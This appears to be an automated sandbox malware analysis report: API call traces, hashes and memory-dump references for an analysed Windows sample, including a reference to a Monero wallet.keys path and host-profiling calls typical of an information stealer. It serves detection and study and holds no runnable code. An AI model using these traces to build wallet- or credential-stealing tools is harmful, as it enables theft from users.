Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: a305ce241ee95fa4a5ec5430d726a9aba64797179020cde8d3c89523167057a4
Instruction ID: 33fea70151432eaec2423face26b8a737767612ae6b6213f80e7e400c4abd8d4
Opcode Fuzzy Hash: a305ce241ee95fa4a5ec5430d726a9aba64797179020cde8d3c89523167057a4
Instruction Fuzzy Hash: D8916672950108ABEB18FBA0DC56EEE7738FF54300F404128F917A7191EF386A49DB62

Function 00F3B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

lstrlen.KERNEL32(00000000), ref: 00F3B42E
lstrlen.KERNEL32(00000000), ref: 00F3B442

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ee90e6ff15c09a7ccbc77a1566b15751b93b95f69720d63b7e1a61cba41c41e7
Instruction ID: dce39b3dfe63a768920b28d4a0bfbd39741dbc1c23b909243692d758c3694fa0
Opcode Fuzzy Hash: ee90e6ff15c09a7ccbc77a1566b15751b93b95f69720d63b7e1a61cba41c41e7
Instruction Fuzzy Hash: 4C7165729501089BEB18FBA0DC92DEE7738FF54304F414528F902A7191EF386A49EB62

Function 00F36660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00F36706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00F36753

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8e928f2e7095e007394f98234f9517f72bfa34a5fab052dc221efaf03c90be0f
Instruction ID: 58b4374f268ed202f628dfb2ed17b93adfb45ae9c421f964bdd1e5d606a3bb20
Opcode Fuzzy Hash: 8e928f2e7095e007394f98234f9517f72bfa34a5fab052dc221efaf03c90be0f
Instruction Fuzzy Hash: C341C874A00209EFCB44CF58C495BADBBB1FF48365F24C2A9E9599B345C731AA81DB84

Function 00F45050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F48E0B

lstrcat.KERNEL32(?,00000000), ref: 00F4508A
lstrcat.KERNEL32(?,0078F3B0), ref: 00F450A8

Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F4492C
Part of subcall function 00F44910: FindFirstFileA.KERNEL32(?,?), ref: 00F44943

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 7447c5e63fcfcb9f808c8184d34365f8dccb692291f740f03554aaf495366eb2
Instruction ID: 7b69b871fc410ba2284cde560adadf4543be85bd6c3e10d529e9c0722c9fa8d7
Opcode Fuzzy Hash: 7447c5e63fcfcb9f808c8184d34365f8dccb692291f740f03554aaf495366eb2
Instruction Fuzzy Hash: D401FE76900208A7D764FB70EC43EEE373CAF54701F004154BA5953181EE789AC99BD1

Function 00F310A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00F310B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00F310F7

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 064617a633a7cef8d14386384c8947d0f72dfce66074e00d260bd67eb8df421a
Instruction ID: f2c6f56f6fdc225fb6be393cde2369828139ecac8933427d3596946d59f7fe61
Opcode Fuzzy Hash: 064617a633a7cef8d14386384c8947d0f72dfce66074e00d260bd67eb8df421a
Instruction Fuzzy Hash: B3F0E9B1641204BBE71896A4AC49FAEB7E8E705B25F300454F504E7380D5715E40DB50

Function 00F48D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00F31B54,?,?,00F5564C,?,?,00F50E1F), ref: 00F48D9F

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 044dc91f7da7a5069282b55b1f848b65c62c674b4807cc8cbcc623221c9c2f14
Instruction ID: a8a2fe9b87c08ae5ec94d8145f1e31a690a56c3ca9a8e8933fdefc4082c13ceb
Opcode Fuzzy Hash: 044dc91f7da7a5069282b55b1f848b65c62c674b4807cc8cbcc623221c9c2f14
Instruction Fuzzy Hash: D4F01570C05208EBDB04EFA4D9496DCBB74EB10360F108199EC26673C0DB389A56EB81

Function 00F48DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F48E0B

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: ec887b5caa0d43907e9239bfb0bd399c92199197db4ff77a827e08154ad8d079
Instruction ID: 5b2947f8b06c61d15027abe5d271c8700b44834f4851cb6186a92dae7b69f972
Opcode Fuzzy Hash: ec887b5caa0d43907e9239bfb0bd399c92199197db4ff77a827e08154ad8d079
Instruction Fuzzy Hash: 31E0123194034C7BDB51EB50DC96FAD777C9B44B01F004295BA0C5B1C0DE74AB858B91

Function 00F31190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47910
Part of subcall function 00F478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00F47917
Part of subcall function 00F478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00F4792F

Part of subcall function 00F47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F311B7), ref: 00F47880
Part of subcall function 00F47850: RtlAllocateHeap.NTDLL(00000000), ref: 00F47887
Part of subcall function 00F47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F4789F

ExitProcess.KERNEL32 ref: 00F311C6

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 75ac336267a8951623d9d8eccc2d51addf8d4c81c12d8c8b79ce2e8a92417407
Instruction ID: 1607c3eb81c6c740fc1103468996cba70913f400d4a2d4ad3236c0567aaedeba
Opcode Fuzzy Hash: 75ac336267a8951623d9d8eccc2d51addf8d4c81c12d8c8b79ce2e8a92417407
Instruction Fuzzy Hash: 21E012B5D1430163DA1477B0BC0AB2E3AAC6F14796F180834FE05D3202FB6DF841A765

Non-executed Functions

Function 6CAE5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAE5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE54BE
__Init_thread_footer.LIBCMT ref: 6CAE54DB

Part of subcall function 6CB0AB3F: EnterCriticalSection.KERNEL32(6CB5E370,?,?,6CAD3527,6CB5F6CC,?,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB49
Part of subcall function 6CB0AB3F: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD3527,6CB5F6CC,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0AB7C

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

GetCurrentThreadId.KERNEL32 ref: 6CAE54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAE5516
GetCurrentThreadId.KERNEL32 ref: 6CAE556A
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAE5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAE5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAE5590
